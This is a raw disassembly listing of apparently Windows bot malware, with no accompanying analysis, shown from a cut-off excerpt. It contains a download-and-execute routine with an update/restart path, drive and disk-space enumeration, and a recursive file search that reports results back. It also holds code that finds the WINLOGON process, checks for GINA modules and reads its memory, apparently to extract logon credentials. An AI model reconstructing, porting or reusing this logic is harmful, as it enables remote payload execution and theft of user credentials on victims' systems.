[ebp+var_810] mov [ebp+var_5C], (offset asc_420AE8+2) mov [ebp+var_68], 44h mov [ebp+var_3C], 1 mov [ebp+var_38], bx rep stosd loc_4028F2: ; CODE XREF: sub_4025CE+335j mov cl, [ebp+eax+var_28C] mov [ebp+eax+var_810], cl inc eax cmp cl, bl jnz short loc_4028F2 lea edi, [ebp+var_810] dec edi loc_40290C: ; CODE XREF: sub_4025CE+344j mov al, [edi+1] inc edi cmp al, bl jnz short loc_40290C mov esi, offset asc_420AE8 ; " " lea eax, [ebp+var_18C] movsw mov edx, eax loc_402923: ; CODE XREF: sub_4025CE+35Aj mov cl, [eax] inc eax cmp cl, bl jnz short loc_402923 lea edi, [ebp+var_810] sub eax, edx dec edi loc_402933: ; CODE XREF: sub_4025CE+36Bj mov cl, [edi+1] inc edi cmp cl, bl jnz short loc_402933 mov ecx, eax shr ecx, 2 mov esi, edx rep movsd mov ecx, eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_68] push eax push ebx push ebx push 30h push ebx push ebx push ebx lea eax, [ebp+var_810] push eax and ecx, 3 push ebx rep movsb call ds:dword_420038 ; CreateProcessA cmp eax, 1 lea eax, [ebp+var_810] push eax lea eax, [ebp+var_610] jnz short loc_402984 push offset aDownloadApplic ; "[DOWNLOAD]: Application succesfully exe"... jmp loc_402A8F ; --------------------------------------------------------------------------- loc_402984: ; CODE XREF: sub_4025CE+3AAj push offset aDownloadExecut ; "[DOWNLOAD]: Execution failed: Error exe"... jmp loc_402A8F ; --------------------------------------------------------------------------- loc_40298E: ; CODE XREF: sub_4025CE+205j test edi, edi mov [ebp+var_4], edi fild [ebp+var_4] jge short loc_40299E fadd ds:dbl_420B48 loc_40299E: ; CODE XREF: sub_4025CE+3C8j test esi, esi fmul ds:dbl_420B40 push ecx push ecx fstp [esp+880h+var_880] lea eax, [ebp+var_28C] mov [ebp+var_4], esi fild [ebp+var_4] push eax jge short loc_4029C0 fadd ds:dbl_420B48 loc_4029C0: ; CODE XREF: sub_4025CE+3EAj fmul ds:dbl_420B40 push ecx push ecx lea eax, [ebp+var_610] fstp [esp+88Ch+var_88C] push offset aDownloadDown_0 ; "[DOWNLOAD]: Downloaded %.1fKB to %s @ %"... push eax call sub_414415 add esp, 1Ch cmp [ebp+var_74], ebx jnz short loc_402A04 push ebx push [ebp+var_70] lea eax, [ebp+var_610] push eax lea eax, [ebp+var_40C] push eax push [ebp+var_410] call sub_4056BF add esp, 14h loc_402A04: ; CODE XREF: sub_4025CE+414j lea eax, [ebp+var_610] push eax call sub_401EFF xor eax, eax pop ecx lea edi, [ebp+var_24] stosd stosd push 11h stosd pop ecx stosd xor eax, eax lea edi, [ebp+var_68] rep stosd lea eax, [ebp+var_24] push eax lea eax, [ebp+var_68] push eax push ebx push ebx push 30h push ebx push ebx push ebx lea eax, [ebp+var_28C] xor esi, esi push eax inc esi push ebx mov [ebp+var_5C], (offset asc_420AE8+2) mov [ebp+var_68], 44h mov [ebp+var_3C], esi mov [ebp+var_38], bx call ds:dword_420038 ; CreateProcessA cmp eax, esi jnz short loc_402A6F call dword_435920 ; WSACleanup call sub_4069F7 push ebx call ds:dword_420034 ; ExitProcess loc_402A6F: ; CODE XREF: sub_4025CE+48Dj lea eax, [ebp+var_28C] push eax push offset aDownloadUpda_0 ; "[DOWNLOAD]: Update failed: Error execut"... jmp short loc_402A89 ; --------------------------------------------------------------------------- loc_402A7D: ; CODE XREF: sub_4025CE+45j lea eax, [ebp+var_38C] push eax push offset aDownloadBadUrl ; "[DOWNLOAD]: Bad URL, or DNS Error: %s." loc_402A89: ; CODE XREF: sub_4025CE+4ADj lea eax, [ebp+var_610] loc_402A8F: ; CODE XREF: sub_4025CE+3B1j ; sub_4025CE+3BBj push eax call sub_414415 add esp, 0Ch cmp [ebp+var_74], ebx jnz short loc_402ABD push ebx push [ebp+var_70] lea eax, [ebp+var_610] push eax lea eax, [ebp+var_40C] push eax push [ebp+var_410] call sub_4056BF add esp, 14h loc_402ABD: ; CODE XREF: sub_4025CE+4CDj lea eax, [ebp+var_610] push eax call sub_401EFF pop ecx loc_402ACA: ; CODE XREF: sub_4025CE+1F8j ; sub_4025CE+295j push [ebp+var_C] call dword_435864 ; InternetCloseHandle push [ebp+var_8C] call sub_41255E loc_402ADE: ; CODE XREF: sub_4025CE+C2j pop ecx push ebx call ds:dword_420014 ; ExitThread int 3 ; Trap to Debugger sub_4025CE endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_402AE7 proc near ; CODE XREF: sub_4089DC+5066p ; sub_4089DC+51B9p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_414D44 pop ecx pop ecx xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl mov eax, ecx retn sub_402AE7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402B01 proc near ; CODE XREF: sub_402C05+66p ; sub_402C05+97p ... var_40 = byte ptr -40h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 40h and [ebp+var_4], 0 push esi push edi push 0Ch mov esi, offset dword_433EF8 pop ecx xor eax, eax mov edi, esi rep stosd stosw lea edi, [ebp+var_40] push ebx loc_402B21: ; CODE XREF: sub_402B01+50j ; sub_402B01+56j push 0 push 0Ah push [ebp+arg_4] push [ebp+arg_0] call sub_414D90 add cl, 30h mov [edi], cl inc edi mov [ebp+arg_0], eax or eax, edx mov [ebp+var_8], ebx mov [ebp+arg_4], edx jz short loc_402B59 inc [ebp+var_4] mov eax, [ebp+var_4] push 3 cdq pop ecx idiv ecx test edx, edx jnz short loc_402B21 mov byte ptr [edi], 2Ch inc edi jmp short loc_402B21 ; --------------------------------------------------------------------------- loc_402B59: ; CODE XREF: sub_402B01+40j mov eax, esi pop ebx jmp short loc_402B63 ; --------------------------------------------------------------------------- loc_402B5E: ; CODE XREF: sub_402B01+68j mov cl, [edi] mov [eax], cl inc eax loc_402B63: ; CODE XREF: sub_402B01+5Bj dec edi lea ecx, [ebp+var_40] cmp edi, ecx jnb short loc_402B5E and byte ptr [eax], 0 pop edi mov eax, esi pop esi leave retn sub_402B01 endp ; =============== S U B R O U T I N E ======================================= sub_402B74 proc near ; CODE XREF: sub_402D20+3Ep ; sub_402D20+74p arg_0 = dword ptr 4 push [esp+arg_0] call dword_435794 ; GetDriveTypeA sub eax, 0 jz short loc_402BB7 dec eax jz short loc_402BB1 dec eax dec eax jz short loc_402BAB dec eax jz short loc_402BA5 dec eax jz short loc_402B9F dec eax jz short loc_402B99 mov eax, offset a? ; "?" retn ; --------------------------------------------------------------------------- loc_402B99: ; CODE XREF: sub_402B74+1Dj mov eax, offset aRam ; "RAM" retn ; --------------------------------------------------------------------------- loc_402B9F: ; CODE XREF: sub_402B74+1Aj mov eax, offset aCdrom ; "Cdrom" retn ; --------------------------------------------------------------------------- loc_402BA5: ; CODE XREF: sub_402B74+17j mov eax, offset aNetwork ; "Network" retn ; --------------------------------------------------------------------------- loc_402BAB: ; CODE XREF: sub_402B74+14j mov eax, offset aDisk ; "Disk" retn ; --------------------------------------------------------------------------- loc_402BB1: ; CODE XREF: sub_402B74+10j mov eax, offset aInvalid ; "Invalid" retn ; --------------------------------------------------------------------------- loc_402BB7: ; CODE XREF: sub_402B74+Dj mov eax, offset aUnknown ; "Unknown" retn sub_402B74 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402BBD proc near ; CODE XREF: sub_402C05+12p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h or eax, 0FFFFFFFFh mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_8], eax mov [ebp+var_4], eax mov eax, dword_435804 test eax, eax jz short loc_402BF2 lea ecx, [ebp+var_10] push ecx lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_18] push ecx push [ebp+arg_4] call eax ; GetDiskFreeSpaceExA loc_402BF2: ; CODE XREF: sub_402BBD+22j mov eax, [ebp+arg_0] push esi push edi push 6 pop ecx lea esi, [ebp+var_18] mov edi, eax rep movsd pop edi pop esi leave retn sub_402BBD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402C05 proc near ; CODE XREF: sub_402D20+17p ; sub_4116D2+1BDp var_1B0 = byte ptr -1B0h var_130 = byte ptr -130h var_B0 = byte ptr -0B0h var_30 = byte ptr -30h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1B0h push esi push edi push [ebp+arg_4] lea eax, [ebp+var_30] push eax call sub_402BBD pop ecx pop ecx push 6 mov esi, eax pop ecx lea edi, [ebp+var_18] rep movsd mov eax, [ebp+var_18] and eax, [ebp+var_14] cmp eax, 0FFFFFFFFh jz loc_402CDD mov eax, [ebp+var_10] and eax, [ebp+var_C] cmp eax, 0FFFFFFFFh jz loc_402CDD mov eax, [ebp+var_8] and eax, [ebp+var_4] cmp eax, 0FFFFFFFFh jz loc_402CDD push ebx push 0 mov ebx, 400h push ebx push [ebp+var_14] push [ebp+var_18] call sub_414E30 push edx push eax call sub_402B01 push eax mov edi, offset aSkb ; "%sKB" push edi mov esi, 80h lea eax, [ebp+var_1B0] push esi push eax call sub_41466D add esp, 18h push 0 push ebx push [ebp+var_C] push [ebp+var_10] call sub_414E30 push edx push eax call sub_402B01 push eax push edi lea eax, [ebp+var_130] push esi push eax call sub_41466D add esp, 18h push 0 push ebx push [ebp+var_4] push [ebp+var_8] call sub_414E30 push edx push eax call sub_402B01 push eax push edi lea eax, [ebp+var_B0] push esi push eax call sub_41466D add esp, 18h pop ebx jmp short loc_402D0C ; --------------------------------------------------------------------------- loc_402CDD: ; CODE XREF: sub_402C05+2Cj ; sub_402C05+3Bj ... mov esi, offset aFailed ; "failed" lea eax, [ebp+var_1B0] push esi push eax call sub_414415 lea eax, [ebp+var_130] push esi push eax call sub_414415 lea eax, [ebp+var_B0] push esi push eax call sub_414415 add esp, 18h loc_402D0C: ; CODE XREF: sub_402C05+D6j mov eax, [ebp+arg_0] push 60h pop ecx lea esi, [ebp+var_1B0] mov edi, eax rep movsd pop edi pop esi leave retn sub_402C05 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402D20 proc near ; CODE XREF: sub_402DDF+Bj ; sub_402DDF+51p var_500 = byte ptr -500h var_380 = byte ptr -380h var_180 = byte ptr -180h var_100 = byte ptr -100h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 500h push ebx mov ebx, [ebp+arg_C] push esi push edi lea eax, [ebp+var_500] push ebx push eax call sub_402C05 pop ecx pop ecx push 60h pop ecx mov esi, eax lea edi, [ebp+var_180] rep movsd push 7 mov edi, offset aFailed ; "failed" lea esi, [ebp+var_80] pop ecx xor eax, eax repe cmpsb jnz short loc_402D80 push ebx push ebx call sub_402B74 pop ecx push eax push offset aMainSDriveSFai ; "[MAIN]: %s Drive (%s): Failed to stat, "... lea eax, [ebp+var_380] push 200h push eax call sub_41466D add esp, 14h jmp short loc_402DB4 ; --------------------------------------------------------------------------- loc_402D80: ; CODE XREF: sub_402D20+3Aj lea eax, [ebp+var_180] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_80] push eax push ebx push ebx call sub_402B74 pop ecx push eax push offset aMainSDriveSSTo ; "[MAIN]: %s Drive (%s): %s total, %s fre"... lea eax, [ebp+var_380] push 200h push eax call sub_41466D add esp, 20h loc_402DB4: ; CODE XREF: sub_402D20+5Ej push 1 push [ebp+arg_8] lea eax, [ebp+var_380] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4056BF lea eax, [ebp+var_380] push eax call sub_401EFF add esp, 18h pop edi pop esi pop ebx leave retn sub_402D20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402DDF proc near ; CODE XREF: sub_4089DC+46A1p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp xor eax, eax cmp [ebp+arg_C], eax jz short loc_402DEF pop ebp jmp sub_402D20 ; --------------------------------------------------------------------------- loc_402DEF: ; CODE XREF: sub_402DDF+8j push ebx push esi push eax push eax call dword_4358A4 ; GetLogicalDriveStringsA lea esi, [eax+2] push esi call sub_414CAD pop ecx mov ebx, eax push ebx push esi mov [ebp+arg_C], ebx call dword_4358A4 ; GetLogicalDriveStringsA cmp byte ptr [ebx], 0 jz short loc_402E52 push edi loc_402E16: ; CODE XREF: sub_402DDF+6Dj push 4 mov edi, offset aA ; "A:\\" mov esi, ebx pop ecx xor eax, eax repe cmpsb jz short loc_402E38 push ebx push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_402D20 add esp, 10h loc_402E38: ; CODE XREF: sub_402DDF+45j mov eax, ebx lea edx, [eax+1] loc_402E3D: ; CODE XREF: sub_402DDF+63j mov cl, [eax] inc eax test cl, cl jnz short loc_402E3D sub eax, edx lea ebx, [ebx+eax+1] cmp [ebx], cl jnz short loc_402E16 mov ebx, [ebp+arg_C] pop edi loc_402E52: ; CODE XREF: sub_402DDF+34j push ebx call sub_414844 pop ecx pop esi pop ebx pop ebp retn sub_402DDF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402E5D proc near ; DATA XREF: sub_40E6BB+14o var_2B8 = dword ptr -2B8h var_25C = byte ptr -25Ch var_158 = byte ptr -158h var_54 = dword ptr -54h var_48 = dword ptr -48h var_28 = dword ptr -28h var_24 = word ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 25Ch push ebx push esi push edi push dword_4366AC call dword_435914 ; closesocket call sub_41240B call dword_435920 ; WSACleanup call dword_435920 ; WSACleanup mov ebx, ds:dword_420000 push 64h call ebx ; Sleep xor eax, eax lea edi, [ebp+var_10] stosd stosd stosd stosd push 11h pop ecx xor eax, eax lea edi, [ebp+var_54] rep stosd mov esi, 104h push esi lea eax, [ebp+var_158] xor edi, edi push eax mov [ebp+var_48], (offset asc_420AE8+2) mov [ebp+var_54], 44h mov [ebp+var_28], 1 mov [ebp+var_24], di call ds:dword_420048 ; GetSystemDirectoryA push esi lea eax, [ebp+var_25C] push eax push edi call ds:dword_420010 ; GetModuleFileNameA lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax lea eax, [ebp+var_158] push eax push edi push 28h push 1 push edi push edi lea eax, [ebp+var_25C] push eax push edi call ds:dword_420038 ; CreateProcessA test eax, eax jz short loc_402F1C push 64h call ebx ; Sleep push [ebp+var_10] mov esi, ds:dword_42003C call esi ; CloseHandle push [ebp+var_C] call esi ; CloseHandle loc_402F1C: ; CODE XREF: sub_402E5D+A9j mov eax, [ebp+arg_8] mov dword ptr [eax+0B0h], offset dword_433F2C mov eax, [esp+2B8h+var_2B8] mov large fs:0, eax add esp, 8 push edi call ds:dword_420034 ; ExitProcess int 3 ; Trap to Debugger sub_402E5D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402F3D proc near ; CODE XREF: sub_402F3D+9Ep ; sub_40308F+C3p var_54C = byte ptr -54Ch var_34C = byte ptr -34Ch var_248 = byte ptr -248h var_144 = byte ptr -144h var_118 = byte ptr -118h var_117 = byte ptr -117h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 54Ch push ebx push esi push edi push [ebp+arg_10] mov esi, 104h push offset aS_1 ; "%s\\*" lea eax, [ebp+var_248] push esi push eax call sub_41466D mov edi, ds:dword_420054 add esp, 10h lea eax, [ebp+var_144] push eax lea eax, [ebp+var_248] push eax call edi ; FindFirstFileA cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax mov ebx, offset aSS_0 ; "%s\\%s" jz short loc_402FFA loc_402F89: ; CODE XREF: sub_402F3D+BBj test [ebp+var_144], 10h jz short loc_402FE6 cmp [ebp+var_118], 2Eh jnz short loc_402FAD cmp [ebp+var_117], 0 jz short loc_402FE6 cmp [ebp+var_117], 2Eh jz short loc_402FE6 loc_402FAD: ; CODE XREF: sub_402F3D+5Cj lea eax, [ebp+var_118] push eax push [ebp+arg_10] lea eax, [ebp+var_34C] push ebx push esi push eax call sub_41466D push [ebp+arg_14] lea eax, [ebp+var_34C] push eax push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_402F3D add esp, 2Ch mov [ebp+arg_14], eax loc_402FE6: ; CODE XREF: sub_402F3D+53j ; sub_402F3D+65j ... lea eax, [ebp+var_144] push eax push [ebp+var_4] call ds:dword_420050 ; FindNextFileA test eax, eax jnz short loc_402F89 loc_402FFA: ; CODE XREF: sub_402F3D+4Aj push [ebp+var_4] call ds:dword_42004C ; FindClose push [ebp+arg_C] lea eax, [ebp+var_248] push [ebp+arg_10] push ebx push esi push eax call sub_41466D add esp, 14h lea eax, [ebp+var_144] push eax lea eax, [ebp+var_248] push eax call edi ; FindFirstFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_403080 loc_403031: ; CODE XREF: sub_402F3D+141j inc [ebp+arg_14] lea eax, [ebp+var_118] push eax push [ebp+arg_10] lea eax, [ebp+var_54C] push offset aFoundSS ; " Found: %s\\%s" push 200h push eax call sub_41466D push 1 push [ebp+arg_8] lea eax, [ebp+var_54C] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4056BF add esp, 28h lea eax, [ebp+var_144] push eax push esi call ds:dword_420050 ; FindNextFileA test eax, eax jnz short loc_403031 loc_403080: ; CODE XREF: sub_402F3D+F2j push esi call ds:dword_42004C ; FindClose mov eax, [ebp+arg_14] pop edi pop esi pop ebx leave retn sub_402F3D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40308F proc near ; DATA XREF: sub_4089DC+2E83o var_49C = byte ptr -49Ch var_29C = dword ptr -29Ch var_298 = byte ptr -298h var_218 = byte ptr -218h var_115 = byte ptr -115h var_114 = byte ptr -114h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 49Ch mov eax, [ebp+arg_0] push ebx push esi push edi mov esi, eax mov ecx, 0A7h lea edi, [ebp+var_29C] rep movsd mov dword ptr [eax+298h], 1 lea eax, [ebp+var_114] lea edx, [eax+1] xor ebx, ebx loc_4030C2: ; CODE XREF: sub_40308F+38j mov cl, [eax] inc eax cmp cl, bl jnz short loc_4030C2 sub eax, edx cmp [ebp+eax+var_115], 5Ch jnz short loc_4030EE lea eax, [ebp+var_114] lea edx, [eax+1] loc_4030DE: ; CODE XREF: sub_40308F+54j mov cl, [eax] inc eax cmp cl, bl jnz short loc_4030DE sub eax, edx mov [ebp+eax+var_115], bl loc_4030EE: ; CODE XREF: sub_40308F+44j lea eax, [ebp+var_218] push eax push offset aFindfileSearch ; "[FINDFILE]: Searching for file: %s." lea eax, [ebp+var_49C] push 200h push eax call sub_41466D add esp, 10h cmp [ebp+var_8], ebx jnz short loc_403133 push ebx push [ebp+var_C] lea eax, [ebp+var_49C] push eax lea eax, [ebp+var_298] push eax push [ebp+var_29C] call sub_4056BF add esp, 14h loc_403133: ; CODE XREF: sub_40308F+82j push ebx lea eax, [ebp+var_114] push eax lea eax, [ebp+var_218] push eax push [ebp+var_C] lea eax, [ebp+var_298] push eax push [ebp+var_29C] call sub_402F3D push eax lea eax, [ebp+var_49C] push offset aFindfileFilesF ; "[FINDFILE]: Files found: %d." push eax call sub_414415 add esp, 24h cmp [ebp+var_8], ebx jnz short loc_403191 push ebx push [ebp+var_C] lea eax, [ebp+var_49C] push eax lea eax, [ebp+var_298] push eax push [ebp+var_29C] call sub_4056BF add esp, 14h loc_403191: ; CODE XREF: sub_40308F+E0j lea eax, [ebp+var_49C] push eax call sub_401EFF push [ebp+var_10] call sub_41255E pop ecx pop ecx push ebx call ds:dword_420014 ; ExitThread int 3 ; Trap to Debugger sub_40308F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4031AF proc near ; CODE XREF: sub_40378E+ABp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 18h and [esp+18h+var_4], 0 and [esp+18h+var_14], 0 push ebx push ebp push esi mov esi, ds:dword_420060 push edi mov ebx, 100h push ebx push 8 call esi ; GetProcessHeap mov edi, ds:dword_42005C push eax call edi ; RtlAllocateHeap mov ebp, eax lea eax, [esp+28h+var_14] push eax push ebx push ebp push 10h call dword_434730 push ebp push 0 call esi ; GetProcessHeap push eax call ds:dword_420058 ; RtlFreeHeap push [esp+28h+var_14] push 8 call esi ; GetProcessHeap push eax call edi ; RtlAllocateHeap mov ebp, eax mov eax, [esp+28h+var_14] lea ecx, [esp+28h+var_C] push ecx push eax push ebp push 10h mov [esp+38h+var_C], eax call dword_434730 test eax, eax jnz short loc_40329C mov eax, [esp+28h+var_C] shr eax, 4 mov [esp+28h+var_10], eax jz short loc_40329C xor ecx, ecx inc ecx cmp eax, ecx mov ebx, ebp mov [esp+28h+var_18], ecx jb short loc_40329C loc_403238: ; CODE XREF: sub_4031AF+EBj cmp word ptr [ebx+8], 5 jnz short loc_40328F push 0 push 0 call dword_434F38 mov edi, eax push edi push 1 push dword ptr [ebx+4] call dword_434F3C test eax, eax jnz short loc_403280 mov eax, [edi+60h] mov [esp+28h+var_8], eax lea eax, [edi+80h] push offset aWinlogon ; "WINLOGON" push eax call sub_414F66 pop ecx push eax call sub_414EE0 test eax, eax pop ecx pop ecx jnz short loc_4032B4 loc_403280: ; CODE XREF: sub_4031AF+AAj test edi, edi jz short loc_40328B push edi call dword_434F40 loc_40328B: ; CODE XREF: sub_4031AF+D3j mov eax, [esp+28h+var_10] loc_40328F: ; CODE XREF: sub_4031AF+8Ej add ebx, 10h inc [esp+28h+var_18] cmp [esp+28h+var_18], eax jbe short loc_403238 loc_40329C: ; CODE XREF: sub_4031AF+6Dj ; sub_4031AF+7Aj ... xor edi, edi loc_40329E: ; CODE XREF: sub_4031AF+17Dj push ebp push 0 call esi ; GetProcessHeap push eax call ds:dword_420058 ; RtlFreeHeap mov eax, edi loc_4032AC: ; CODE XREF: sub_4031AF+184j pop edi pop esi pop ebp pop ebx add esp, 18h retn ; --------------------------------------------------------------------------- loc_4032B4: ; CODE XREF: sub_4031AF+CFj and [esp+28h+var_10], 0 cmp [esp+28h+var_8], 0 jbe short loc_40331D lea eax, [edi+80h] mov [esp+28h+var_18], eax loc_4032CA: ; CODE XREF: sub_4031AF+16Cj add [esp+28h+var_18], 11Ch push offset aNwgina ; "NWGINA" push [esp+2Ch+var_18] call sub_414F66 pop ecx push eax call sub_414EE0 test eax, eax pop ecx pop ecx jnz short loc_403331 push offset aMsgina ; "MSGINA" push [esp+2Ch+var_18] call sub_414F66 pop ecx push eax call sub_414EE0 test eax, eax pop ecx pop ecx jnz short loc_40330F mov eax, [ebx+4] mov [esp+28h+var_4], eax loc_40330F: ; CODE XREF: sub_4031AF+157j inc [esp+28h+var_10] mov eax, [esp+28h+var_10] cmp eax, [esp+28h+var_8] jb short loc_4032CA loc_40331D: ; CODE XREF: sub_4031AF+10Fj test edi, edi jz short loc_403328 push edi call dword_434F40 loc_403328: ; CODE XREF: sub_4031AF+170j mov edi, [esp+28h+var_4] jmp loc_40329E ; --------------------------------------------------------------------------- loc_403331: ; CODE XREF: sub_4031AF+13Cj xor eax, eax jmp loc_4032AC sub_4031AF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403338 proc near ; CODE XREF: sub_40378E+F0p var_68 = byte ptr -68h var_64 = dword ptr -64h var_44 = byte ptr -44h var_38 = dword ptr -38h var_33 = byte ptr -33h var_2F = byte ptr -2Fh var_28 = byte ptr -28h var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 68h push esi push [ebp+arg_0] xor esi, esi push esi push 410h mov [ebp+var_14], esi call ds:dword_420078 ; OpenProcess cmp eax, esi mov [ebp+var_8], eax jnz short loc_403361 xor eax, eax jmp loc_4034D3 ; --------------------------------------------------------------------------- loc_403361: ; CODE XREF: sub_403338+20j mov eax, [ebp+arg_4] push ebx mov [eax], esi push edi lea eax, [ebp+var_68] push eax call ds:dword_420074 ; GetSystemInfo push [ebp+var_64] mov [ebp+var_C], esi mov esi, ds:dword_420060 push 8 call esi ; GetProcessHeap mov edi, ds:dword_42005C push eax call edi ; RtlAllocateHeap mov ebx, ds:dword_420070 lea ecx, [ebp+var_C] push ecx push [ebp+var_64] mov [ebp+var_4], eax push eax push 7FFDF000h push [ebp+var_8] call ebx ; ReadProcessMemory test eax, eax jnz short loc_4033B1 xor esi, esi jmp loc_4034C6 ; --------------------------------------------------------------------------- loc_4033B1: ; CODE XREF: sub_403338+70j push 1Ch lea eax, [ebp+var_44] push eax mov eax, [ebp+var_4] push dword ptr [eax+18h] push [ebp+var_8] call ds:dword_42006C ; VirtualQueryEx test eax, eax jz loc_4034B5 test [ebp+var_33], 10h jz loc_4034B5 test [ebp+var_2F], 1 jnz loc_4034B5 push [ebp+var_38] push 8 call esi ; GetProcessHeap push eax call edi ; RtlAllocateHeap mov edi, eax lea eax, [ebp+var_C] push eax push [ebp+var_38] mov eax, [ebp+var_4] push edi push dword ptr [eax+18h] mov [ebp+var_10], edi push [ebp+var_8] call ebx ; ReadProcessMemory test eax, eax jz loc_4034B5 loc_40340C: ; CODE XREF: sub_403338+108j push edi push offset dword_433F30 call sub_41F3DC test eax, eax pop ecx pop ecx jnz short loc_403434 lea eax, [edi+200h] push eax push offset dword_434738 call sub_41F3DC test eax, eax pop ecx pop ecx jz short loc_403444 loc_403434: ; CODE XREF: sub_403338+E3j mov eax, [ebp+var_38] mov ecx, [ebp+var_10] inc edi inc edi add eax, ecx cmp edi, eax jb short loc_40340C jmp short loc_4034B5 ; --------------------------------------------------------------------------- loc_403444: ; CODE XREF: sub_403338+FAj test edi, edi jz short loc_4034B5 lea eax, [ebp+var_18] push eax lea eax, [edi+410h] push eax call ds:dword_420068 ; FileTimeToLocalFileTime test eax, eax jz short loc_403481 lea eax, [ebp+var_28] push eax lea eax, [ebp+var_18] push eax call ds:dword_420064 ; FileTimeToSystemTime test eax, eax jz short loc_403481 mov ecx, [ebp+arg_4] xor eax, eax mov al, [edi+42Ch] shr eax, 1 and eax, 7Fh mov [ecx], eax loc_403481: ; CODE XREF: sub_403338+123j ; sub_403338+135j movzx eax, byte ptr [edi+42Dh] mov dword_434F50, eax mov eax, [ebp+var_4] mov eax, [eax+18h] sub eax, [ebp+var_10] mov [ebp+var_14], 1 lea eax, [eax+edi+434h] add edi, 434h mov dword_434F48, eax mov dword_434F4C, edi loc_4034B5: ; CODE XREF: sub_403338+90j ; sub_403338+9Aj ... push [ebp+var_4] push 0 call esi ; GetProcessHeap push eax call ds:dword_420058 ; RtlFreeHeap mov esi, [ebp+var_14] loc_4034C6: ; CODE XREF: sub_403338+74j push [ebp+var_8] call ds:dword_42003C ; CloseHandle pop edi mov eax, esi pop ebx loc_4034D3: ; CODE XREF: sub_403338+24j pop esi leave retn sub_403338 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4034D6 proc near ; CODE XREF: sub_40378E:loc_403885p var_50 = byte ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_2C = byte ptr -2Ch var_20 = dword ptr -20h var_1B = byte ptr -1Bh var_17 = byte ptr -17h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 50h push [ebp+arg_0] push 0 push 410h call ds:dword_420078 ; OpenProcess test eax, eax mov [ebp+var_4], eax jnz short loc_4034F5 leave retn ; --------------------------------------------------------------------------- loc_4034F5: ; CODE XREF: sub_4034D6+1Bj mov eax, [ebp+arg_4] and dword ptr [eax], 0 push ebx push esi push edi lea eax, [ebp+var_50] push eax call ds:dword_420074 ; GetSystemInfo mov eax, [ebp+var_44] mov ebx, [ebp+var_48] cmp ebx, eax mov [ebp+var_10], eax jnb loc_4035B5 mov edi, ds:dword_420060 loc_40351F: ; CODE XREF: sub_4034D6+D9j push 1Ch lea eax, [ebp+var_2C] push eax push ebx push [ebp+var_4] call ds:dword_42006C ; VirtualQueryEx test eax, eax jz short loc_4035A3 test [ebp+var_1B], 10h mov eax, [ebp+var_20] mov [ebp+var_8], eax jz short loc_4035A9 test [ebp+var_17], 1 jnz short loc_4035A9 push eax push 8 call edi ; GetProcessHeap push eax call ds:dword_42005C ; RtlAllocateHeap and [ebp+var_C], 0 mov esi, eax lea eax, [ebp+var_C] push eax push [ebp+var_20] push esi push ebx push [ebp+var_4] call 